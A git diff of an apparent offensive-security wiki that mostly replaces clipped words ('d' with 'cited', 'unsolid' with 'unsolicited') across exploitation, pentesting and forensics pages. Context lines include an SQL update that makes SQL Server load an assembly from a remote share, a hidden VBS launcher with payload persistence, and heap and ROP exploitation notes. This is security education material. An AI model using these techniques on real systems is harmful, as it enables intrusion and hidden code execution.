.../pentesting-mssql-microsoft-sql-server/README.md | 2 +- src/network-services-pentesting/pentesting-sap.md | 2 +- .../ksmbd-attack-surface-and-fuzzing-syzkaller.md | 4 ++-- .../forced-extension-load-preferences-mac-forgery-windows.md | 2 +- src/pentesting-web/h2c-smuggling.md | 4 ++-- .../postgresql-injection/rce-with-postgresql-extensions.md | 2 +- .../ssti-server-side-template-injection/README.md | 2 +- src/pentesting-web/xss-cross-site-scripting/sniff-leak.md | 2 +- .../xss-cross-site-scripting/xss-in-markdown.md | 2 +- .../active-directory-methodology/kerberoast.md | 2 +- .../windows-local-privilege-escalation/create-msi-with-wix.md | 2 +- 31 files changed, 37 insertions(+), 37 deletions(-) diff --git a/src/AI/AI-llm-architecture/7.0.-lora-improvements-in-fine-tuning.md b/src/AI/AI-llm-architecture/7.0.-lora-improvements-in-fine-tuning.md index 8583d5f109c..33a0c992846 100644 --- a/src/AI/AI-llm-architecture/7.0.-lora-improvements-in-fine-tuning.md +++ b/src/AI/AI-llm-architecture/7.0.-lora-improvements-in-fine-tuning.md @@ -19,7 +19,7 @@ LoRA makes it possible to fine-tune **large models** efficiently by only changin 3. **Efficient Task-Specific Fine-Tuning**: When you want to adapt the model to a **new task**, you can just train the **small LoRA matrices** (A and B) while leaving the rest of the model as it is. This is **much more efficient** than retraining the entire model. 4. **Storage Efficiency**: After fine-tuning, instead of saving a **whole new model** for each task, you only need to store the **LoRA matrices**, which are very small compared to the entire model. This makes it easier to adapt the model to many tasks without using too much storage. -The following minimal implementation adapts the d notebook. It initializes `B` to zero so the adapter begins as a no-op, and uses the standard `alpha / rank` scaling from LoRA. The code stores the factors in input-major shapes (`A` is `in_dim x rank` and `B` is `rank x out_dim`), so its forward path is written as `xAB`; this is the transposed-shape equivalent of the paper's `BA` notation.[[2]](#references)[[3]](#references) +The following minimal implementation adapts the cited notebook. It initializes `B` to zero so the adapter begins as a no-op, and uses the standard `alpha / rank` scaling from LoRA. The code stores the factors in input-major shapes (`A` is `in_dim x rank` and `B` is `rank x out_dim`), so its forward path is written as `xAB`; this is the transposed-shape equivalent of the paper's `BA` notation.[[2]](#references)[[3]](#references) ```python import math diff --git a/src/binary-exploitation/arbitrary-write-2-exec/aw2exec-sips-icc-profile.md b/src/binary-exploitation/arbitrary-write-2-exec/aw2exec-sips-icc-profile.md index cfd36adda19..b73761840da 100644 --- a/src/binary-exploitation/arbitrary-write-2-exec/aw2exec-sips-icc-profile.md +++ b/src/binary-exploitation/arbitrary-write-2-exec/aw2exec-sips-icc-profile.md @@ -99,7 +99,7 @@ The header and tag layout follow the ICC profile format, but this remains a stru ## Impact -Processing a crafted ICC profile through the vulnerable `sips` path may terminate the process and could lead to code execution in the context of that process. ICC profiles can be standalone files or embedded in formats such as PNG, JPEG, and TIFF, but reachability through Preview, Quick Look, Safari, or Mail must be tested separately. The d advisories do not establish a Gatekeeper bypass.[[1]](#references)[[2]](#references) +Processing a crafted ICC profile through the vulnerable `sips` path may terminate the process and could lead to code execution in the context of that process. ICC profiles can be standalone files or embedded in formats such as PNG, JPEG, and TIFF, but reachability through Preview, Quick Look, Safari, or Mail must be tested separately. The cited advisories do not establish a Gatekeeper bypass.[[1]](#references)[[2]](#references) ## Detection & Mitigation diff --git a/src/binary-exploitation/arbitrary-write-2-exec/www2exec-.dtors-and-.fini_array.md b/src/binary-exploitation/arbitrary-write-2-exec/www2exec-.dtors-and-.fini_array.md index 8e5c3201753..2fdda88877a 100644 --- a/src/binary-exploitation/arbitrary-write-2-exec/www2exec-.dtors-and-.fini_array.md +++ b/src/binary-exploitation/arbitrary-write-2-exec/www2exec-.dtors-and-.fini_array.md @@ -42,7 +42,7 @@ Note that entries in `.fini_array` are called in **reverse** order, so you proba #### Eternal loop -The d Insomni'hack `onewrite` exploit turns **`.fini_array`** into a repeatable write loop. With at least two usable entries, it can:[[1]](#references) +The cited Insomni'hack `onewrite` exploit turns **`.fini_array`** into a repeatable write loop. With at least two usable entries, it can:[[1]](#references) - Use your first write to **call the vulnerable arbitrary write function** again - Then, calculate the return address in the stack stored by **`__libc_csu_fini`** (the function that is calling all the `.fini_array` functions) and put there the **address of `__libc_csu_fini`** diff --git a/src/binary-exploitation/ios-exploiting/imessage-media-parser-zero-click-coreaudio-pac-bypass.md b/src/binary-exploitation/ios-exploiting/imessage-media-parser-zero-click-coreaudio-pac-bypass.md index 27bd11de3cb..c5b88616ee6 100644 --- a/src/binary-exploitation/ios-exploiting/imessage-media-parser-zero-click-coreaudio-pac-bypass.md +++ b/src/binary-exploitation/ios-exploiting/imessage-media-parser-zero-click-coreaudio-pac-bypass.md @@ -2,7 +2,7 @@ {{#include ../../banners/hacktricks-training.md}} -This page summarizes Apple's confirmed impact for CVE-2025-31200 and CVE-2025-31201, followed by an end-to-end exploitation chain **claimed by the d JGoyd research repository**. Apple confirms CoreAudio code execution from malicious media and an RPAC pointer-authentication bypass for an attacker who already has arbitrary read/write; it does not document the repository's asserted iMessage, Wi-Fi, kernel, or CryptoTokenKit stages.[[1]](#references)[[2]](#references)[[3]](#references) +This page summarizes Apple's confirmed impact for CVE-2025-31200 and CVE-2025-31201, followed by an end-to-end exploitation chain **claimed by the cited JGoyd research repository**. Apple confirms CoreAudio code execution from malicious media and an RPAC pointer-authentication bypass for an attacker who already has arbitrary read/write; it does not document the repository's asserted iMessage, Wi-Fi, kernel, or CryptoTokenKit stages.[[1]](#references)[[2]](#references)[[3]](#references) > Warning: This is an educational summary to help defenders, researchers, and red teams understand the techniques. Do not use offensively. diff --git a/src/binary-exploitation/libc-heap/gnu-obstack-function-pointer-hijack.md b/src/binary-exploitation/libc-heap/gnu-obstack-function-pointer-hijack.md index e874f06740d..254e2fa8d2d 100644 --- a/src/binary-exploitation/libc-heap/gnu-obstack-function-pointer-hijack.md +++ b/src/binary-exploitation/libc-heap/gnu-obstack-function-pointer-hijack.md @@ -4,7 +4,7 @@ ## Overview -GNU obstacks embed allocator state together with allocator callbacks. The following offsets are from the d **x86-64 glibc 2.42 challenge build** and are not ABI-stable:[[1]](#references)[[2]](#references) +GNU obstacks embed allocator state together with allocator callbacks. The following offsets are from the cited **x86-64 glibc 2.42 challenge build** and are not ABI-stable:[[1]](#references)[[2]](#references) - `chunkfun` (offset `+0x38`) with signature `void *(*chunkfun)(void *, size_t)` - `freefun` (offset `+0x40`) with signature `void (*freefun)(void *, void *)` diff --git a/src/binary-exploitation/libc-heap/heap-overflow.md b/src/binary-exploitation/libc-heap/heap-overflow.md index 6a354e9ed21..9ce39e5b5b4 100644 --- a/src/binary-exploitation/libc-heap/heap-overflow.md +++ b/src/binary-exploitation/libc-heap/heap-overflow.md @@ -17,7 +17,7 @@ In stack overflows, the layout and data present when the vulnerability is trigge Heap allocations, by contrast, are placed and reused according to allocator policies such as size classes, bins, zones, and freelists. The object adjacent to a vulnerable allocation can therefore be difficult to predict. Exploitation usually requires a **reliable way to place a useful victim object immediately after the overflowing buffer**. -One technique for controlling this layout is **heap grooming**. The d iOS kernel example explains that when a zone ran out of space for objects of a particular size, it expanded by a kernel page and split that page into suitable chunks. Those chunks were allocated in order on the older version described; iOS 9.2 introduced randomized selection to make this layout less predictable.[[3]](#references) +One technique for controlling this layout is **heap grooming**. The cited iOS kernel example explains that when a zone ran out of space for objects of a particular size, it expanded by a kernel page and split that page into suitable chunks. Those chunks were allocated in order on the older version described; iOS 9.2 introduced randomized selection to make this layout less predictable.[[3]](#references) In that exploit, several threads force many **`kalloc` allocations to fill existing free chunks and encourage the creation of a new page**, helping place the overflowing object next to a chosen victim.[[3]](#references) diff --git a/src/binary-exploitation/libc-heap/house-of-force.md b/src/binary-exploitation/libc-heap/house-of-force.md index ce0f6fe1869..dc0e77682b1 100644 --- a/src/binary-exploitation/libc-heap/house-of-force.md +++ b/src/binary-exploitation/libc-heap/house-of-force.md @@ -22,7 +22,7 @@ In a vulnerable allocator, the attacker corrupts the top-chunk size to the maximum unsigned value, then requests a carefully chosen size that advances the top pointer to just before target address `P`. Request size and `mmap` behavior still depend on allocator checks, thresholds, alignment, and integer arithmetic.[[3]](#references) -Calculate the distance from the current top chunk to the target. The first crafted `malloc` advances the top chunk by that amount; the next allocation then overlaps the target. For the d PoC, the request calculation is:[[4]](#references) +Calculate the distance from the current top chunk to the target. The first crafted `malloc` advances the top chunk by that amount; the next allocation then overlaps the target. For the cited PoC, the request calculation is:[[4]](#references) ```c // From https://github.com/shellphish/how2heap/blob/master/glibc_2.27/house_of_force.c#L59C2-L67C5 @@ -37,7 +37,7 @@ Calculate the distance from the current top chunk to the target. The first craft */ ``` -For the d 64-bit/32-bit PoC layout, allocating `target - old_top - 4*sizeof(long)` accounts for the two chunk headers and moves the next returned chunk over the target. Recalculate this from `request2size()` and the exact architecture instead of treating the expression as universal.[[5]](#references)[[6]](#references)\ +For the cited 64-bit/32-bit PoC layout, allocating `target - old_top - 4*sizeof(long)` accounts for the two chunk headers and moves the next returned chunk over the target. Recalculate this from `request2size()` and the exact architecture instead of treating the expression as universal.[[5]](#references)[[6]](#references)\ Then call `malloc` again to obtain a chunk overlapping the target address. ### Worked exploit examples diff --git a/src/generic-hacking/archive-extraction-path-traversal.md b/src/generic-hacking/archive-extraction-path-traversal.md index 988d1e0cb2b..81d05ff4f75 100644 --- a/src/generic-hacking/archive-extraction-path-traversal.md +++ b/src/generic-hacking/archive-extraction-path-traversal.md @@ -99,7 +99,7 @@ ESET reported RomCom (Storm-0978/UNC2596) spear-phishing campaigns that attached ## Mitigation & Hardening -1. **Update the extractor** – WinRAR 7.13+ and 7-Zip 25.00+ contain fixes for the d path/symlink issues.[[1]](#references)[[5]](#references) +1. **Update the extractor** – WinRAR 7.13+ and 7-Zip 25.00+ contain fixes for the cited path/symlink issues.[[1]](#references)[[5]](#references) 2. Extract archives with “**Do not extract paths**” / “**Ignore paths**” when possible. 3. On Unix, drop privileges & mount a **chroot/namespace** before extraction; on Windows, use **AppContainer** or a sandbox. 4. If writing custom code, normalise with `realpath()`/`PathCanonicalize()` **before** create/write, and reject any entry that escapes the destination. diff --git a/src/generic-hacking/tunneling-and-port-forwarding.md b/src/generic-hacking/tunneling-and-port-forwarding.md index 739a7cd5f6d..e192eb36faf 100644 --- a/src/generic-hacking/tunneling-and-port-forwarding.md +++ b/src/generic-hacking/tunneling-and-port-forwarding.md @@ -817,7 +817,7 @@ qemu-system-x86_64.exe ^ ### Launching stealthily through VBScript -TrustedSec observed VBS-driven QEMU launches and Tiny Core images in the incident d above.[[1]](#references) +TrustedSec observed VBS-driven QEMU launches and Tiny Core images in the incident cited above.[[1]](#references) ```vb ' update.vbs – lived in C:\ProgramData\update @@ -829,7 +829,7 @@ Running the script with `cscript.exe //B update.vbs` keeps the window hidden.[[1]](#references) +The cited incident describes persistence in the stateless Tiny Core guest through `/opt/bootlocal.sh` and `/opt/filetool.lst`:[[1]](#references) 1. Drop payload to `/opt/123.out` 2. Append to `/opt/bootlocal.sh`: diff --git a/src/generic-methodologies-and-resources/basic-forensic-methodology/partitions-file-systems-carving/README.md b/src/generic-methodologies-and-resources/basic-forensic-methodology/partitions-file-systems-carving/README.md index 38c658971c9..ed04bdf8808 100644 --- a/src/generic-methodologies-and-resources/basic-forensic-methodology/partitions-file-systems-carving/README.md +++ b/src/generic-methodologies-and-resources/basic-forensic-methodology/partitions-file-systems-carving/README.md @@ -97,7 +97,7 @@ The partition table header defines the usable blocks on the disk. It also define | Offset | Length | Contents | | --------- | -------- | ---------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | -| 0 (0x00) | 8 bytes | Signature ("EFI PART", 45h 46h 49h 20h 50h 41h 52h 54h or 0x5452415020494645ULL[ ](https://en.wikipedia.org/wiki/GUID_Partition_Table#_note-8)on little-endian machines) | +| 0 (0x00) | 8 bytes | Signature ("EFI PART", 45h 46h 49h 20h 50h 41h 52h 54h or 0x5452415020494645ULL[ ](https://en.wikipedia.org/wiki/GUID_Partition_Table#cite_note-8)on little-endian machines) | | 8 (0x08) | 4 bytes | Revision 1.0 (00h 00h 01h 00h) for UEFI 2.8 | | 12 (0x0C) | 4 bytes | Header size in little endian (in bytes, usually 5Ch 00h 00h 00h or 92 bytes) | | 16 (0x10) | 4 bytes | [CRC32](https://en.wikipedia.org/wiki/CRC32) of header (offset +0 up to header size) in little endian, with this field zeroed during calculation | diff --git a/src/generic-methodologies-and-resources/basic-forensic-methodology/specific-software-file-type-tricks/svg-font-glyph-analysis-and-web-drm-deobfuscation.md b/src/generic-methodologies-and-resources/basic-forensic-methodology/specific-software-file-type-tricks/svg-font-glyph-analysis-and-web-drm-deobfuscation.md index db2699f3bc2..a8f178cc638 100644 --- a/src/generic-methodologies-and-resources/basic-forensic-methodology/specific-software-file-type-tricks/svg-font-glyph-analysis-and-web-drm-deobfuscation.md +++ b/src/generic-methodologies-and-resources/basic-forensic-methodology/specific-software-file-type-tricks/svg-font-glyph-analysis-and-web-drm-deobfuscation.md @@ -245,7 +245,7 @@ The source report used run geometry, style fields, and link metadata to preserve - In practice, books converge to a few hundred unique glyphs (e.g., ~361 including ligatures). Cache SSIM results by perceptual hash.[[1]](#references) - After initial discovery, future batches predominantly re-use known hashes; decoding becomes I/O-bound. -- The d report observed an average SSIM of about 0.95; flag low-scoring matches for manual review.[[1]](#references) +- The cited report observed an average SSIM of about 0.95; flag low-scoring matches for manual review.[[1]](#references) ## Generalization to other viewers @@ -279,7 +279,7 @@ Adjust parameterization (book ASIN, page window, viewport) to match the reader ## Results achievable - Collapse 100+ randomized alphabets to a single glyph space via perceptual hashing.[[1]](#references) -- In the d 920-page test, 361 unique glyphs were matched (100%) with an average SSIM of 0.9527.[[1]](#references) +- In the cited 920-page test, 361 unique glyphs were matched (100%) with an average SSIM of 0.9527.[[1]](#references) - The source report describes the reconstructed EPUB as near-indistinguishable from the original.[[1]](#references) ## References diff --git a/src/generic-methodologies-and-resources/pentesting-network/dhcpv6.md b/src/generic-methodologies-and-resources/pentesting-network/dhcpv6.md index e877f5d1f8e..288d3f62032 100644 --- a/src/generic-methodologies-and-resources/pentesting-network/dhcpv6.md +++ b/src/generic-methodologies-and-resources/pentesting-network/dhcpv6.md @@ -78,7 +78,7 @@ sudo atk6-flood_dhcpc6 ### Reconfigure Message Caveat -Clients are unwilling to accept **Reconfigure** messages by default; they signal willingness with `OPTION_RECONF_ACCEPT`, and valid messages must also pass the protocol's other checks.[[5]](#references) Unsolid Reconfigure attempts are therefore unreliable unless the target's behavior is confirmed. +Clients are unwilling to accept **Reconfigure** messages by default; they signal willingness with `OPTION_RECONF_ACCEPT`, and valid messages must also pass the protocol's other checks.[[5]](#references) Unsolicited Reconfigure attempts are therefore unreliable unless the target's behavior is confirmed. ## References diff --git a/src/generic-methodologies-and-resources/pentesting-wifi/README.md b/src/generic-methodologies-and-resources/pentesting-wifi/README.md index 915df32d59e..6abcdeb3042 100644 --- a/src/generic-methodologies-and-resources/pentesting-wifi/README.md +++ b/src/generic-methodologies-and-resources/pentesting-wifi/README.md @@ -986,7 +986,7 @@ This method allows an **attacker to create a malicious access point (AP) that re ### MANA -Then, **devices started to ignore unsolid network responses**, reducing the effectiveness of the original karma attack. However, a new method, known as the **MANA attack**, was introduced by Ian de Villiers and Dominic White. This method involves the rogue AP **capturing the Preferred Network Lists (PNL) from devices by responding to their broadcast probe requests** with network names (SSIDs) previously solid by the devices. This sophisticated attack bypasses the protections against the original karma attack by exploiting the way devices remember and prioritize known networks. +Then, **devices started to ignore unsolicited network responses**, reducing the effectiveness of the original karma attack. However, a new method, known as the **MANA attack**, was introduced by Ian de Villiers and Dominic White. This method involves the rogue AP **capturing the Preferred Network Lists (PNL) from devices by responding to their broadcast probe requests** with network names (SSIDs) previously solicited by the devices. This sophisticated attack bypasses the protections against the original karma attack by exploiting the way devices remember and prioritize known networks. The MANA attack operates by monitoring both directed and broadcast probe requests from devices. For directed requests, it records the device's MAC address and the requested network name, adding this information to a list. When a broadcast request is received, the AP responds with information matching any of the networks on the device's list, enticing the device to connect to the rogue AP.[[4]](#references) diff --git a/src/linux-hardening/linux-basics/bypass-linux-restrictions/README.md b/src/linux-hardening/linux-basics/bypass-linux-restrictions/README.md index 6ba9420b663..c23134c363f 100644 --- a/src/linux-hardening/linux-basics/bypass-linux-restrictions/README.md +++ b/src/linux-hardening/linux-basics/bypass-linux-restrictions/README.md @@ -358,7 +358,7 @@ Therefore you can create a *NOP sled for Bash* by prefixing your real command wi # 16× spaces ───┘ ↑ real command ``` -If a ROP chain (or another memory-corruption primitive) passes a command-string pointer that begins anywhere within the space block, Bash can parse the remaining leading blanks until it reaches the command; in the d router exploit, this made uncertain string offsets usable.[[5]](#references)[[7]](#references) +If a ROP chain (or another memory-corruption primitive) passes a command-string pointer that begins anywhere within the space block, Bash can parse the remaining leading blanks until it reaches the command; in the cited router exploit, this made uncertain string offsets usable.[[5]](#references)[[7]](#references) Practical use cases in constrained embedded targets include:[[5]](#references) @@ -366,7 +366,7 @@ Practical use cases in constrained embedded targets include:[[5]](#referenc 2. Payload channels where the attacker cannot write NULL bytes to align the payload (a general adaptation of the alignment problem).[[5]](#references) 3. Embedded devices with a small BusyBox `ash`/`sh` environment, which BusyBox documents as applets in resource-constrained systems.[[10]](#references) -> 🛠️ Combine this technique with ROP gadgets that call `system()` in a controlled lab; the d router research demonstrates this combination on constrained hardware.[[5]](#references) +> 🛠️ Combine this technique with ROP gadgets that call `system()` in a controlled lab; the cited router research demonstrates this combination on constrained hardware.[[5]](#references) ## References diff --git a/src/linux-hardening/software-information/android-rooting-frameworks-manager-auth-bypass-syscall-hook.md b/src/linux-hardening/software-information/android-rooting-frameworks-manager-auth-bypass-syscall-hook.md index c06efd034be..ce095589ec2 100644 --- a/src/linux-hardening/software-information/android-rooting-frameworks-manager-auth-bypass-syscall-hook.md +++ b/src/linux-hardening/software-information/android-rooting-frameworks-manager-auth-bypass-syscall-hook.md @@ -66,7 +66,7 @@ The concrete KernelSU v0.5.7 case requires:[[1]](#references)[[3]](#referen --- ## Exploitation outline (KernelSU v0.5.7) -High-level steps (the d demo video shows the public proof of concept in operation):[[1]](#references)[[2]](#references)[[10]](#references) +High-level steps (the cited demo video shows the public proof of concept in operation):[[1]](#references)[[2]](#references)[[10]](#references) 1) Build a valid path to your own app data directory to satisfy prefix and ownership checks. 2) Place a genuine KernelSU Manager base.apk under `/data/app/` at a path containing your package string, then open it on a lower-numbered FD than your own base.apk. 3) Invoke prctl(0xDEADBEEF, CMD_BECOME_MANAGER, , ...) to pass the checks. diff --git a/src/macos-hardening/macos-security-and-privilege-escalation/macos-files-folders-and-binaries/macos-installers-abuse.md b/src/macos-hardening/macos-security-and-privilege-escalation/macos-files-folders-and-binaries/macos-installers-abuse.md index e7d43f0e88f..8ec1645bfa5 100644 --- a/src/macos-hardening/macos-security-and-privilege-escalation/macos-files-folders-and-binaries/macos-installers-abuse.md +++ b/src/macos-hardening/macos-security-and-privilege-escalation/macos-files-folders-and-binaries/macos-installers-abuse.md @@ -79,7 +79,7 @@ The hierarchy of a DMG file can be different based on the content. However, for ### Execution from public directories -If a pre- or post-installation script executes a file such as **`/var/tmp/Installerutil`** and an attacker can replace that file, the attacker can escalate privileges when the installer invokes it. The d talks and walkthrough show variants of this insecure external-script pattern.[[1]](#references)[[3]](#references)[[4]](#references) +If a pre- or post-installation script executes a file such as **`/var/tmp/Installerutil`** and an attacker can replace that file, the attacker can escalate privileges when the installer invokes it. The cited talks and walkthrough show variants of this insecure external-script pattern.[[1]](#references)[[3]](#references)[[4]](#references)
https://www.youtube.com/watch?v=iASSG0_zobQ

https://www.youtube.com/watch?v=kCXhIYtODBg

diff --git a/src/network-services-pentesting/24007-24008-24009-49152-pentesting-glusterfs.md b/src/network-services-pentesting/24007-24008-24009-49152-pentesting-glusterfs.md index 43db447d52b..a2d638c3906 100644 --- a/src/network-services-pentesting/24007-24008-24009-49152-pentesting-glusterfs.md +++ b/src/network-services-pentesting/24007-24008-24009-49152-pentesting-glusterfs.md @@ -61,7 +61,7 @@ In an authorized lab, obtain the following files from a provisioned client and p ## Version-specific vulnerabilities -The affected versions and impacts below come from the d CVE records and vendor advisory; distribution backports may change package-level status.[[2]](#references)[[3]](#references)[[6]](#references) +The affected versions and impacts below come from the cited CVE records and vendor advisory; distribution backports may change package-level status.[[2]](#references)[[3]](#references)[[6]](#references) | CVE | Affected versions | Impact | Notes | |-----|-------------------|--------|-------| diff --git a/src/network-services-pentesting/5353-udp-multicast-dns-mdns.md b/src/network-services-pentesting/5353-udp-multicast-dns-mdns.md index f1477c32453..9147edbb08d 100644 --- a/src/network-services-pentesting/5353-udp-multicast-dns-mdns.md +++ b/src/network-services-pentesting/5353-udp-multicast-dns-mdns.md @@ -110,7 +110,7 @@ Also see generic LLMNR/NBNS/mDNS/WPAD spoofing and credential capture/relay work - Avahi reachable-assertion bugs CVE-2023-38469 through CVE-2023-38473 and the D-Bus-related CVE-2023-1981 can terminate `avahi-daemon` on affected distributions, disrupting service discovery until it restarts. The exact vectors differ; install the distribution's fixed Avahi package rather than treating the identifiers as one network exploit.[[12]](#references) - Cisco IOS XE Wireless LAN Controller mDNS gateway CVE-2024-20303 allows an unauthenticated adjacent WLAN attacker to send a sustained stream of crafted mDNS traffic, drive controller CPU high, and potentially disconnect AP tunnels. It is a disruptive DoS condition, not a general-purpose roaming primitive.[[4]](#references) - Apple mDNSResponder CVE-2024-44183 allowed a local app to cause denial of service. Apple addressed the logic error in iOS/iPadOS 18; consult the matching advisory for other Apple platform releases.[[5]](#references)[[15]](#references) -- Apple mDNSResponder CVE-2025-31222 was a local privilege-escalation correctness issue fixed in macOS Sequoia 15.5. Apple's advisory describes a local user impact; it is not a remote mDNS network exploit and the d macOS advisory does not establish iPhone impact.[[6]](#references)[[13]](#references) +- Apple mDNSResponder CVE-2025-31222 was a local privilege-escalation correctness issue fixed in macOS Sequoia 15.5. Apple's advisory describes a local user impact; it is not a remote mDNS network exploit and the cited macOS advisory does not establish iPhone impact.[[6]](#references)[[13]](#references) ### Browser/WebRTC mDNS considerations diff --git a/src/network-services-pentesting/pentesting-631-internet-printing-protocol-ipp.md b/src/network-services-pentesting/pentesting-631-internet-printing-protocol-ipp.md index 88322fd6edf..98cd67638cb 100644 --- a/src/network-services-pentesting/pentesting-631-internet-printing-protocol-ipp.md +++ b/src/network-services-pentesting/pentesting-631-internet-printing-protocol-ipp.md @@ -122,7 +122,7 @@ Placing a symbolic link in *cupsd.conf*'s `Listen` directive can make `cupsd` (o 2. Disable `cups-browsed` and UDP/631 unless zeroconf printing is required. 3. Restrict TCP/631 to trusted subnets/VPN and enforce **TLS (ipps://)**. 4. Require **Kerberos/Negotiate** or certificate auth instead of anonymous printing. -5. Monitor logs: `/var/log/cups/error_log` with `LogLevel debug2` can reveal unsolid PPD downloads or suspicious filter invocations. +5. Monitor logs: `/var/log/cups/error_log` with `LogLevel debug2` can reveal unsolicited PPD downloads or suspicious filter invocations. 6. In high-security networks, move printing to a hardened, isolated print server that proxies jobs to devices via USB only. ## References diff --git a/src/network-services-pentesting/pentesting-ldap.md b/src/network-services-pentesting/pentesting-ldap.md index a6dab9ca54f..4cb73c19cc1 100644 --- a/src/network-services-pentesting/pentesting-ldap.md +++ b/src/network-services-pentesting/pentesting-ldap.md @@ -114,7 +114,7 @@ For `ldaps://` or successfully negotiated StartTLS, interception additionally re ### Bypass TLS SNI check -In the d environment, resolving an attacker-chosen hostname to the LDAP service changed how the TLS connection was accepted and made an anonymously readable directory reachable. Treat this as a deployment-specific hostname/SNI and certificate-routing check, not a generic LDAP authentication bypass:[[2]](#references) +In the cited environment, resolving an attacker-chosen hostname to the LDAP service changed how the TLS connection was accepted and made an anonymously readable directory reachable. Treat this as a deployment-specific hostname/SNI and certificate-routing check, not a generic LDAP authentication bypass:[[2]](#references) ```bash ldapsearch -H ldaps://company.com:636/ -x -s base -b '' "(objectClass=*)" "*" + diff --git a/src/network-services-pentesting/pentesting-mssql-microsoft-sql-server/README.md b/src/network-services-pentesting/pentesting-mssql-microsoft-sql-server/README.md index bcc49884338..12c86bc07c3 100644 --- a/src/network-services-pentesting/pentesting-mssql-microsoft-sql-server/README.md +++ b/src/network-services-pentesting/pentesting-mssql-microsoft-sql-server/README.md @@ -676,7 +676,7 @@ See [MSSQL user-defined function SQLHttp](../../pentesting-web/sql-injection/mss ### RCE with `autoadmin_task_agents` -According to the d research, some vulnerable/privileged configurations can load a remote assembly through `autoadmin_task_agents`. This is version- and component-specific; verify that the internal table and Smart Admin task loader exist before treating it as a general SQL Server primitive.[[18]](#references) +According to the cited research, some vulnerable/privileged configurations can load a remote assembly through `autoadmin_task_agents`. This is version- and component-specific; verify that the internal table and Smart Admin task loader exist before treating it as a general SQL Server primitive.[[18]](#references) ```sql update autoadmin_task_agents set task_assembly_name = "class.dll", task_assembly_path="\\remote-server\\ping.dll",className="Class1.Class1"; diff --git a/src/network-services-pentesting/pentesting-sap.md b/src/network-services-pentesting/pentesting-sap.md index 3796b7e56eb..b959fb62db4 100644 --- a/src/network-services-pentesting/pentesting-sap.md +++ b/src/network-services-pentesting/pentesting-sap.md @@ -350,7 +350,7 @@ Matching Modules ### Legacy SAP AS Java UME password hashes -With authorized database access to a legacy SAP AS Java system, inspect the User Management Engine (UME) storage for password records. The d research queried `UME_STRINGS` by its `PID` and `VAL` fields and documented values carrying metadata such as `{SHA-512, 10000, 24}`. Treat the schema and hash format as version-specific, and perform any offline password audit only within the approved scope.[[12]](#references) +With authorized database access to a legacy SAP AS Java system, inspect the User Management Engine (UME) storage for password records. The cited research queried `UME_STRINGS` by its `PID` and `VAL` fields and documented values carrying metadata such as `{SHA-512, 10000, 24}`. Treat the schema and hash format as version-specific, and perform any offline password audit only within the approved scope.[[12]](#references) - Test applicable known exploits (check Exploit-DB), including the old but noteworthy “SAP ConfigServlet Remote Code Execution” attack against SAP Portal: diff --git a/src/network-services-pentesting/pentesting-smb/ksmbd-attack-surface-and-fuzzing-syzkaller.md b/src/network-services-pentesting/pentesting-smb/ksmbd-attack-surface-and-fuzzing-syzkaller.md index 82f221523bb..21e26f184b4 100644 --- a/src/network-services-pentesting/pentesting-smb/ksmbd-attack-surface-and-fuzzing-syzkaller.md +++ b/src/network-services-pentesting/pentesting-smb/ksmbd-attack-surface-and-fuzzing-syzkaller.md @@ -3,7 +3,7 @@ {{#include ../../banners/hacktricks-training.md}} ## Overview -This page summarizes practical techniques for exercising and fuzzing the Linux in-kernel SMB server (ksmbd) with syzkaller. It focuses on expanding the protocol attack surface through configuration, building a stateful harness capable of chaining SMB2 operations, generating grammar-valid PDUs, biasing mutations toward weakly covered code paths, and using syzkaller features such as `focus_areas` and `ANYBLOB`. The d research enumerates specific CVEs; this page emphasizes the reusable methodology and concrete snippets that can be adapted to a lab.[[1]](#references)[[2]](#references) +This page summarizes practical techniques for exercising and fuzzing the Linux in-kernel SMB server (ksmbd) with syzkaller. It focuses on expanding the protocol attack surface through configuration, building a stateful harness capable of chaining SMB2 operations, generating grammar-valid PDUs, biasing mutations toward weakly covered code paths, and using syzkaller features such as `focus_areas` and `ANYBLOB`. The cited research enumerates specific CVEs; this page emphasizes the reusable methodology and concrete snippets that can be adapted to a lab.[[1]](#references)[[2]](#references) Target scope: SMB2/SMB3 over TCP. Kerberos and RDMA are intentionally out-of-scope to keep the harness simple. @@ -286,7 +286,7 @@ Setting num_subauth = 0 triggers an in-struct OOB read of sub_auth[-1], caught b ## Throughput and Parallelism Notes - A single fuzzer process (shared auth/state) tends to be significantly more stable for ksmbd and still surfaces races/UAFs thanks to syzkaller’s internal async executor. -- The d setup reached hundreds of SMB commands per second across multiple VMs and reported function-level coverage around 60% of `fs/smb/server` and 70% of `smb2pdu.c`. Treat these as environment-specific observations, not expected guarantees; function coverage also under-represents state-transition coverage.[[1]](#references) +- The cited setup reached hundreds of SMB commands per second across multiple VMs and reported function-level coverage around 60% of `fs/smb/server` and 70% of `smb2pdu.c`. Treat these as environment-specific observations, not expected guarantees; function coverage also under-represents state-transition coverage.[[1]](#references) --- diff --git a/src/pentesting-web/browser-extension-pentesting-methodology/forced-extension-load-preferences-mac-forgery-windows.md b/src/pentesting-web/browser-extension-pentesting-methodology/forced-extension-load-preferences-mac-forgery-windows.md index c8ff71a67a1..2fc6d059b99 100644 --- a/src/pentesting-web/browser-extension-pentesting-methodology/forced-extension-load-preferences-mac-forgery-windows.md +++ b/src/pentesting-web/browser-extension-pentesting-methodology/forced-extension-load-preferences-mac-forgery-windows.md @@ -105,7 +105,7 @@ Add the generated public key into your manifest.json to lock the ID: ## Forging Preferences integrity MACs (core bypass) -Chromium protects preferences with HMAC-SHA256 over `path` plus the serialized JSON value of each node. The HMAC seed is embedded in the browser's `resources.pak` and was still usable through Chromium 139 in the d research.[[1]](#references)[[3]](#references) +Chromium protects preferences with HMAC-SHA256 over `path` plus the serialized JSON value of each node. The HMAC seed is embedded in the browser's `resources.pak` and was still usable through Chromium 139 in the cited research.[[1]](#references)[[3]](#references) Extract the seed with GRIT pak_util[[2]](#references) and locate the seed container (file id 146 in tested builds): diff --git a/src/pentesting-web/h2c-smuggling.md b/src/pentesting-web/h2c-smuggling.md index 1d7623d97fe..c82737d0392 100644 --- a/src/pentesting-web/h2c-smuggling.md +++ b/src/pentesting-web/h2c-smuggling.md @@ -20,7 +20,7 @@ The vulnerability arises when, after upgrading a connection, the reverse proxy c #### Vulnerable Proxies -The vulnerability depends on how the reverse proxy handles `Upgrade` and `Connection`. The d research found the following proxies forwarded the relevant headers by default in the tested configurations:[[1]](#references)[[2]](#references) +The vulnerability depends on how the reverse proxy handles `Upgrade` and `Connection`. The cited research found the following proxies forwarded the relevant headers by default in the tested configurations:[[1]](#references)[[2]](#references) - HAProxy 